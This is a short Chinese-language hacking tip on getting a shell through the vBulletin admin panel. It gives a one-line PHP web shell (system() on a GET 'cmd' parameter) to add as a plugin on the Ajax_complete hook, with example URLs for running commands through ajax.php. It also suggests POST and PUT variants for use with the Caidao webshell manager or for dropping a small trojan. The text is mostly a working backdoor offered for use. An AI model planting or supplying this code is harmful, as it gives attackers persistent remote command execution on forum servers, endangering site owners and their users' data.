vBulletin 论坛后台拿shell

在后台，进插件管理.添加插件.

    Ajax_complete 填入代码:

if(isset($_GET['cmd'])){echo "<h1>cmd</h1><pre>"; system($_GET['cmd']);exit;}
 

    激活mod

    访问：www.site.com/forumlocation/ajax.php?cmd=command

    比如：www.site.com/forumlocation/ajax.php?cmd=ls，就执行了ls的命令。

    就是一个简单的get型一句话，也可以改成post型的，放入菜刀，或者写个put型的，生成一个小马。